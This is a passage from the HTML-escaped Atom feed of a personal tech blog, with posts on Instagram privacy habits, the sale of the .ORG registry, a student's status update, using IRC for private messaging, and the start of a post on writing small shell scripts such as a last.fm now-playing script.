information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That out of the way, here&amp;rsquo;s a list of DOs and DON&amp;rsquo;Ts to keep in mind&#xA;while posting on Instagram.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;don-ts&#34;&gt;DON&amp;rsquo;Ts&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use Instagram for planning and orchestrating illegal shit! I&amp;rsquo;ve&#xA;explained why this is a terrible idea above. Use secure comms&amp;mdash;even&#xA;WhatsApp is a better choice, if you have nothing else. In fact, try&#xA;avoiding IG DMs altogether, use alternatives that implement E2EE.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Film live videos outside. Or try not to, if you can. You might&#xA;unknowingly include information about your location: street signs,&#xA;shops etc. These can be used to ascertain your current location.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Film live videos in places you visit often. This compromises your&#xA;security at places you&amp;rsquo;re bound to be at.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Share your flight ticket in your story! I can&amp;rsquo;t stress this enough!!!&#xA;Summer/winter break? &amp;ldquo;Look guys, I&amp;rsquo;m going home! Here&amp;rsquo;s where I live,&#xA;and here&amp;rsquo;s my flight number&amp;mdash;feel free to track me!&amp;rdquo;. This scenario is&#xA;especially worrisome because the start and end points are known to the&#xA;threat actor, and your arrival time can be trivially looked up&amp;mdash;thanks&#xA;to the flight number on your ticket. So, just don&amp;rsquo;t.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Post screenshots with OS specific details. This might border on&#xA;pendantic, but better safe than sorry. Your phone&amp;rsquo;s statusbar and navbar&#xA;are better cropped out of pictures. They reveal the time, notifications&#xA;(apps that you use), and can be used to identify your phone&amp;rsquo;s operating&#xA;system. Besides, the status/nav bar isn&amp;rsquo;t very useful to your screenshot&#xA;anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Share your voice. In general, reduce your footprint on the platform&#xA;that can be used to identify you elsewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Think you&amp;rsquo;re safe if your account is set to private. It doesn&amp;rsquo;t take&#xA;much to get someone who follows you, to show show your profile on their&#xA;device.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3 id=&#34;dos&#34;&gt;DOs&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Post pictures that pertain to a specific location, once you&amp;rsquo;ve moved&#xA;out of the location. Also applies to stories. It can wait.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Post pictures that have been shot indoors. Or try to; reasons above.&#xA;Who woulda thunk I&amp;rsquo;d advocate bathroom selfies?&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Delete old posts that are irrelevant to your current audience. Your&#xA;friends at work don&amp;rsquo;t need to know about where you went to high school.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More DON&amp;rsquo;Ts than DOs, that&amp;rsquo;s very telling. Here are a few more points&#xA;that are good OPSEC practices in general:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Think before you share&lt;/strong&gt;. Does it conform to the rules mentioned above?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Compartmentalize&lt;/strong&gt;. Separate as much as you can from what you share&#xA;online, from what you do IRL. Limit information exposure.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Assess your risks&lt;/strong&gt;: Do this often. People change, your environments&#xA;change, and consequentially the risks do too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;fin&#34;&gt;Fin&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Instagram is&amp;mdash;much to my dismay&amp;mdash;far too popular for it to die any&#xA;time soon. There are plenty of good reasons to stop using the platform&#xA;altogether (hint: Facebook), but that&amp;rsquo;s a discussion for another day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or be like me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/fI7nL.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that pretty much wraps it up, with a neat little bow.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:ddepisode&#34;&gt;&lt;a href=&#34;https://darknetdiaries.com/episode/51/&#34; rel=&#34;nofollow&#34;&gt;https://darknetdiaries.com/episode/51/&lt;/a&gt;&amp;mdash;Jack talks about Indian hackers who operate on Instagram. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:ddepisode&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Save .ORG!</title>
<updated>2019-11-23T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-11-23:blog/save-org</id>
<link href="https://icyphox.sh/blog/save-org"></link>
<summary type="html">&lt;h2&gt;PIR is getting sold to a private firm, and here&#39;s why it&#39;s bad&lt;/h2&gt;&#xA;&lt;p&gt;The .ORG top-level domain introduced in 1985, has been operated by the&#xA;&lt;a href=&#34;https://en.wikipedia.org/wiki/Public_Interest_Registry&#34; rel=&#34;nofollow&#34;&gt;Public Interest&#xA;Registry&lt;/a&gt; since&#xA;2003.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .ORG TLD is used primarily by communities, free and open source&#xA;projects, and other non-profit organizations&amp;mdash;although the use of the&#xA;TLD isn&amp;rsquo;t restricted to non-profits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Internet Society or ISOC, the group that created the PIR, has&#xA;decided to sell the registry over to a private equity firm&amp;mdash;Ethos&#xA;Capital.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;what-s-the-problem&#34;&gt;What&amp;rsquo;s the problem?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are around 10 million .ORG TLDs registered, and a good portion of&#xA;them are non-profits and non-governmental organizations. As the name&#xA;suggests, they don&amp;rsquo;t earn any profits and all their operations rely on&#xA;a thin inflow of donations. A private firm having control of the .ORG&#xA;domain gives them the power to make decisions that would be unfavourable&#xA;to the .ORG community:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They control the registration/renewal fees of the TLD. They can&#xA;hike the price if they wish to. As is stands, NGOs already earn very&#xA;little&amp;mdash;a .ORG price hike would put them in a very icky situation.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;They can introduce &lt;a href=&#34;https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en&#34; rel=&#34;nofollow&#34;&gt;Rights Protection&#xA;Mechanisms&lt;/a&gt;&#xA;or RPMs, which are essentially legal statements that can&amp;mdash;if not&#xA;correctly developed&amp;mdash;jeopardize / censor completely legal non-profit&#xA;activities.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Lastly, they can suspend domains at the whim of state actors. It isn&amp;rsquo;t&#xA;news that nation states go after NGOs, targetting them with allegations&#xA;of illegal activity. The registry being a private firm only simplifies&#xA;the process.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sure, these are just &amp;ldquo;what ifs&amp;rdquo; and speculations, but the risk is real.&#xA;Such power can be abused and this would be severly detrimental to NGOs&#xA;globally.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;how-can-i-help&#34;&gt;How can I help?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We need to get the ISOC to &lt;strong&gt;stop the sale&lt;/strong&gt;. Head over to&#xA;&lt;a href=&#34;https://savedotorg.org&#34; rel=&#34;nofollow&#34;&gt;https://savedotorg.org&lt;/a&gt; and sign their letter. An email is sent on your&#xA;behalf to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Andrew Sullivan, CEO, ISOC&lt;/li&gt;&#xA;&lt;li&gt;Jon Nevett, CEO, PIR&lt;/li&gt;&#xA;&lt;li&gt;Maarten Botterman, Board Chair, ICANN&lt;/li&gt;&#xA;&lt;li&gt;Göran Marby, CEO, ICANN&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;closing-thoughts&#34;&gt;Closing thoughts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Internet that we all love and care for is slowly being subsumed by&#xA;megacorps and private firms, who&amp;rsquo;s only motive is to make a profit. The&#xA;Internet was meant to be free, and we&amp;rsquo;d better act now if we want that&#xA;freedom. The future looks bleak&amp;mdash;I hope we aren&amp;rsquo;t too late.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2019-11-16T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-11-16:blog/2019-11-16</id>
<link href="https://icyphox.sh/blog/2019-11-16"></link>
<summary type="html">&lt;h2&gt;Exams, stuff, etc.&lt;/h2&gt;&#xA;&lt;p&gt;This month is mostly just unfun stuff, lined up in a neat schedule&amp;mdash;exams. I get all these cool ideas for things to do, and it&amp;rsquo;s always&#xA;during exams. Anyway, here&amp;rsquo;s a quick update on what I&amp;rsquo;ve been up to.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;blog-post-queue&#34;&gt;Blog post queue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I realized that I could use this site&amp;rsquo;s&#xA;&lt;a href=&#34;https://github.com/icyphox/site&#34; rel=&#34;nofollow&#34;&gt;repo&lt;/a&gt;&amp;rsquo;s issues to track blog post ideas.&#xA;I&amp;rsquo;ve made a few, mostly just porting them over from my Google Keep note.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method of using issues is great, because readers can chime in with&#xA;ideas for things I could possibly discuss&amp;mdash;like in &lt;a href=&#34;https://github.com/icyphox/site/issues/10&#34; rel=&#34;nofollow&#34;&gt;this&#xA;issue&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;contemplating-a-vite-rewrite&#34;&gt;Contemplating a &lt;code&gt;vite&lt;/code&gt; rewrite&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/icyphox/vite&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;vite&lt;/code&gt;&lt;/a&gt;, despite what the name suggests&#xA;-- is awfully slow. Also, Python is bloat.&#xA;Will rewriting it fix that? That&amp;rsquo;s what I plan to find out. I have&#xA;a couple of choices of languages to use in the rewrite:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;C: Fast, compiled. Except I suck at it. (&lt;code&gt;cite&lt;/code&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;Nim: My favourite, but I&amp;rsquo;ll have to write bindings to &lt;a href=&#34;https://github.com/kristapsdz/lowdown&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;lowdown(1)&lt;/code&gt;&lt;/a&gt;. (&lt;code&gt;nite&lt;/code&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;Shell: Another favourite, muh &amp;ldquo;minimalsm&amp;rdquo;. No downside, really.&#xA;(&lt;code&gt;shite&lt;/code&gt;?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Oh, and did I mention&amp;mdash;I want it to be compatible with &lt;code&gt;vite&lt;/code&gt;.&#xA;I don&amp;rsquo;t want to have to redo my site structure or its templates. At the&#xA;moment, I rely on Jinja2 for templating, so I&amp;rsquo;ll need something similar.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;irc-bot&#34;&gt;IRC bot&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My earlier post on &lt;a href=&#34;/blog/irc-for-dms&#34;&gt;IRC for DMs&lt;/a&gt; got quite a bit of&#xA;traction, which was pretty cool. I didn&amp;rsquo;t really talk much about the bot&#xA;itself though; I&amp;rsquo;m dedicating this section to&#xA;&lt;a href=&#34;https://github.com/icyphox/detotated&#34; rel=&#34;nofollow&#34;&gt;detotated&lt;/a&gt;.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fairly simple Python code, using plain sockets. So far, we&amp;rsquo;ve got a few&#xA;basic features in place:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.np&lt;/code&gt; command: queries the user&amp;rsquo;s last.fm to get the currently playing&#xA;track&lt;/li&gt;&#xA;&lt;li&gt;Fetches the URL title, when a URL is sent in chat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That&amp;rsquo;s it, really. I plan to add a &lt;code&gt;.nps&lt;/code&gt;, or &amp;ldquo;now playing Spotify&amp;rdquo;&#xA;command, since we share Spotify links pretty often.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other&#34;&gt;Other&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve been reading some more manga, I&amp;rsquo;ll update the &lt;a href=&#34;/reading&#34;&gt;reading&#xA;log&lt;/a&gt; when I, well&amp;hellip; get around to it. Haven&amp;rsquo;t had time to do&#xA;much in the past few weeks&amp;mdash;the time at the end of a semester tends to&#xA;get pretty tight. Here&amp;rsquo;s what I plan to get back to during this winter break:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Russian!&lt;/li&gt;&#xA;&lt;li&gt;Window manager in Nim&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;vite&lt;/code&gt; rewrite, probably&lt;/li&gt;&#xA;&lt;li&gt;The other blog posts in queue&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve also put off doing any &amp;ldquo;security work&amp;rdquo; for a while now, perhaps&#xA;that&amp;rsquo;ll change this December. Or whenever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that ends my status update, on all things that I &lt;em&gt;haven&amp;rsquo;t&lt;/em&gt; done.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://knowyourmeme.com/memes/dedotated-wam&#34; rel=&#34;nofollow&#34;&gt;https://knowyourmeme.com/memes/dedotated-wam&lt;/a&gt; (dead meme, yes I know) &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>IRC for DMs</title>
<updated>2019-11-03T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-11-03:blog/irc-for-dms</id>
<link href="https://icyphox.sh/blog/irc-for-dms"></link>
<summary type="html">&lt;h2&gt;Honestly, it&#39;s pretty great&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://nerdypepper.me&#34; rel=&#34;nofollow&#34;&gt;Nerdy&lt;/a&gt; and I decided to try and use IRC for our&#xA;daily communications, as opposed to non-free alternatives like WhatsApp&#xA;or Telegram. This is an account of how that went.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-status-quo-of-instant-messaging-apps&#34;&gt;The status quo of instant messaging apps&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve tried a &lt;em&gt;ton&lt;/em&gt; of messaging applications&amp;mdash;Signal, WhatsApp,&#xA;Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Signal&lt;/strong&gt;: It straight up sucks on Android. Not to mention the&#xA;centralized architecture, and OWS&amp;rsquo;s refusal to federate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;WhatsApp&lt;/strong&gt;: Facebook&amp;rsquo;s spyware that people use without a second&#xA;thought. The sole reason I have it installed is for University&amp;rsquo;s&#xA;class groups; I can&amp;rsquo;t wait to graduate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Telegram&lt;/strong&gt;: Centralized architecture and a closed-source server. It&amp;rsquo;s&#xA;got a very nice Android client, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Jami&lt;/strong&gt;: Distributed platform, free software. I am not going to comment&#xA;on this because I don&amp;rsquo;t recall what my experience was like, but I&amp;rsquo;m not&#xA;using it now&amp;hellip; so if that&amp;rsquo;s indicative of anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Matrix (Riot)&lt;/strong&gt;: Distributed network. Multiple client implementations.&#xA;Overall, pretty great, but it&amp;rsquo;s slow. I&amp;rsquo;ve had messages not send / not&#xA;received a lot of times. Matrix + Riot excels in group communication, but&#xA;really sucks for one-to-one chats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Slack&lt;/strong&gt; / &lt;strong&gt;Discord&lt;/strong&gt;: &lt;em&gt;sigh&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DeltaChat&lt;/strong&gt;: Pretty interesting idea&amp;mdash;on paper. Using existing email&#xA;infrastructure for IM sounds great, but it isn&amp;rsquo;t all that cash in&#xA;practice. Email isn&amp;rsquo;t instant, there&amp;rsquo;s always a delay of give or take&#xA;5 to 10 seconds, if not more. This affects the flow of conversation.&#xA;I might write a small blog post later, revewing DeltaChat.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:deltachat&#34;&gt;&lt;a href=&#34;#fn:deltachat&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-irc&#34;&gt;Why IRC?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It&amp;rsquo;s free, in all senses of the word. A lot of others have done a great&#xA;job of answering this question in further detail, this is by far my&#xA;favourite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&#34;https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html&#34; rel=&#34;nofollow&#34;&gt;https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;using-irc-s-private-messages&#34;&gt;Using IRC&amp;rsquo;s private messages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This was the next obvious choice, but personal message buffers don&amp;rsquo;t&#xA;persist in ZNC and it&amp;rsquo;s very annoying to have to do a &lt;code&gt;/query&#xA;nerdypepper&lt;/code&gt; (Weechat) or to search and message a user via Revolution&#xA;IRC. The only unexplored option&amp;mdash;using a channel.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setting-up-a-channel-for-dms&#34;&gt;Setting up a channel for DMs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A fairly easy process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set modes (on Rizon)&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:modes&#34;&gt;&lt;a href=&#34;#fn:modes&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#crimson [+ilnpstz 3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In essence, this limits the users to 3 (one bot), sets the channel to invite only,&#xA;hides the channel from &lt;code&gt;/whois&lt;/code&gt; and &lt;code&gt;/list&lt;/code&gt;, and a few other misc.&#xA;modes.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;Notifications: Also a trivial task; a quick modification to &lt;a href=&#34;https://weechat.org/scripts/source/lnotify.py.html/&#34; rel=&#34;nofollow&#34;&gt;lnotify.py&lt;/a&gt;&#xA;to send a notification for all messages in the specified buffer&#xA;(&lt;code&gt;#crimson&lt;/code&gt;) did the trick for Weechat. Revolution IRC, on the other&#xA;hand, has an option to setup rules for notifications&amp;mdash;super&#xA;convenient.&lt;/p&gt;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&lt;p&gt;A bot: Lastly, a bot for a few small tasks&amp;mdash;fetching URL titles, responding&#xA;to &lt;code&gt;.np&lt;/code&gt; (now playing) etc. Writing an IRC bot is dead simple, and it&#xA;took me about an hour or two to get most of the basic functionality in&#xA;place. The source is &lt;a href=&#34;https://github.com/icyphox/detotated&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&#xA;It is by no means &amp;ldquo;good code&amp;rdquo;; it breaks spectacularly from time to&#xA;time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2 id=&#34;in-conclusion&#34;&gt;In conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As the subtitle suggests, using IRC has been great. It&amp;rsquo;s probably not&#xA;for everyone though, but it fits my (and Nerdy&amp;rsquo;s) usecase perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: &lt;em&gt;I&amp;rsquo;m not sure why the footnotes are reversed.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:deltachat&#34;&gt;It&amp;rsquo;s in &lt;a href=&#34;https://github.com/icyphox/site/issues/10&#34; rel=&#34;nofollow&#34;&gt;queue&lt;/a&gt;. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:deltachat&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:modes&#34;&gt;Channel modes on &lt;a href=&#34;https://wiki.rizon.net/index.php?title=Channel_Modes&#34; rel=&#34;nofollow&#34;&gt;Rizon&lt;/a&gt;. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:modes&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>The intelligence conundrum</title>
<updated>2019-10-28T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-10-28:blog/intel-conundrum</id>
<link href="https://icyphox.sh/blog/intel-conundrum"></link>
<summary type="html">&lt;h2&gt;To protect an asset, or to protect the people?&lt;/h2&gt;&#xA;&lt;p&gt;I watched the latest &lt;a href=&#34;https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series&#34; rel=&#34;nofollow&#34;&gt;S.W.A.T.&lt;/a&gt;)&#xA;episode a couple of days ago, and it highlighted some interesting issues that&#xA;intelligence organizations face when working with law enforcement. Side note: it&amp;rsquo;s a pretty&#xA;good show if you like police procedurals.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;the-problem&#34;&gt;The problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Consider the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There&amp;rsquo;s a local drug lord who&amp;rsquo;s been recruited to provide intel, by a certain 3-letter organization.&lt;/li&gt;&#xA;&lt;li&gt;Local PD busts his operation and proceed to arrest him.&lt;/li&gt;&#xA;&lt;li&gt;3-letter org steps in, wants him released.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So here&amp;rsquo;s the thing, his presence is a threat to public but at the same time,&#xA;he can be a valuable long term asset&amp;mdash;giving info on drug inflow, exchanges and perhaps even&#xA;actionable intel on bigger fish who exist on top of the ladder. But he also&#xA;seeks security. The 3-letter org must provide him with protection,&#xA;in case he&amp;rsquo;s blown. And like in our case, they&amp;rsquo;d have to step in if he gets arrested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Herein lies the problem. How far should an intelligence organization go to protect an asset?&#xA;Who matters more, the people they&amp;rsquo;ve sworn to protect, or the asset?&#xA;Because afterall, in the bigger picture, local PD and intel orgs are on the same side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the question arises&amp;mdash;how can we measure the &amp;ldquo;usefulness&amp;rdquo; of an&#xA;asset to better quantify the tradeoff that is to be made?&#xA;Is the intel gained worth the loss of public safety?&#xA;This question remains largely unanswered, and is quite the&#xA;predicament should you find yourself in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a fairly short post, but an interesting problem to ponder&#xA;nonetheless.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Hacky scripts</title>
<updated>2019-10-24T00:00:00Z</updated>
<id>tag:icyphox.sh/,2019-10-24:blog/hacky-scripts</id>
<link href="https://icyphox.sh/blog/hacky-scripts"></link>
<summary type="html">&lt;h2&gt;The most fun way to learn to code&lt;/h2&gt;&#xA;&lt;p&gt;As a CS student, I see a lot of people around me doing courses online&#xA;to learn to code. Don&amp;rsquo;t get me wrong&amp;mdash;it probably works for some.&#xA;Everyone learns differently. But that&amp;rsquo;s only going to get you so far.&#xA;Great you know the syntax, you can solve some competitive programming&#xA;problems, but that&amp;rsquo;s not quite enough, is it? The actual learning comes&#xA;from &lt;em&gt;applying&lt;/em&gt; it in solving &lt;em&gt;actual&lt;/em&gt; problems&amp;mdash;not made up ones.&#xA;(&lt;em&gt;inb4 some seething CP bro comes at me&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what&amp;rsquo;s an actual problem? Some might define it as real world&#xA;problems that people out there face, and solving it probably requires&#xA;building a product. This is what you see in hackathons, generally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ask me, however, I like to define it as problems that &lt;em&gt;you&lt;/em&gt; yourself&#xA;face. This could be anything. Heck, it might not even be a &amp;ldquo;problem&amp;rdquo;. It&#xA;could just be an itch that you want to scratch. And this is where&#xA;&lt;strong&gt;hacky scripts&lt;/strong&gt; come in. Unclear? Let me illustrate with a few&#xA;examples.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;now-playing-status-in-my-bar&#34;&gt;Now playing status in my bar&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you weren&amp;rsquo;t aware already&amp;mdash;I rice my desktop. A lot. And a part of&#xA;this cohesive experience I try to create involves a status bar up at the&#xA;top of my screen, showing the time, date, volume and battery statuses etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here&amp;rsquo;s the &amp;ldquo;problem&amp;rdquo;. I wanted to have my currently playing song&#xA;(Spotify), show up on my bar. How did I approach this? A few ideas&#xA;popped up in my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send &lt;code&gt;playerctl&lt;/code&gt;&amp;rsquo;s STDOUT into my bar&lt;/li&gt;&#xA;&lt;li&gt;Write a Python script to query Spotify&amp;rsquo;s API&lt;/li&gt;&#xA;&lt;li&gt;Write a Python/shell script to query Last.fm&amp;rsquo;s API&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first approach bombed instantly. &lt;code&gt;playerctl&lt;/code&gt; didn&amp;rsquo;t recognize my&#xA;Spotify client and whined about some &lt;code&gt;dbus&lt;/code&gt; issues to top it off.&#xA;I spent a while in that rabbit hole but eventually gave up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My next avenue was the Spotify Web API. One look at the &lt;a href=&#34;https://developer.spotify.com/documentation/web-api/&#34; rel=&#34;nofollow&#34;&gt;docs&lt;/a&gt; and&#xA;I realize that I&amp;rsquo;ll have to make &lt;em&gt;more&lt;/em&gt; than one request to fetch the&#xA;artist and track details. Nope, I need this to work fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last resort&amp;mdash;Last.fm&amp;rsquo;s API. Spolier alert, this worked. Also, arguably&#xA;the best choice, since it shows the track status regardless of where&#xA;the music is being played. Here&amp;rsquo;s the script in its entirety:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;#!/usr/bin/env bash&#xA;# now playing&#xA;# requires the last.fm API key&#xA;&#xA;source ~/.lastfm # `export API_KEY=&amp;quot;&amp;lt;key&amp;gt;&amp;quot;`&#xA;fg=&amp;quot;$(xres color15)&amp;quot;&#xA;light=&amp;quot;$(xres 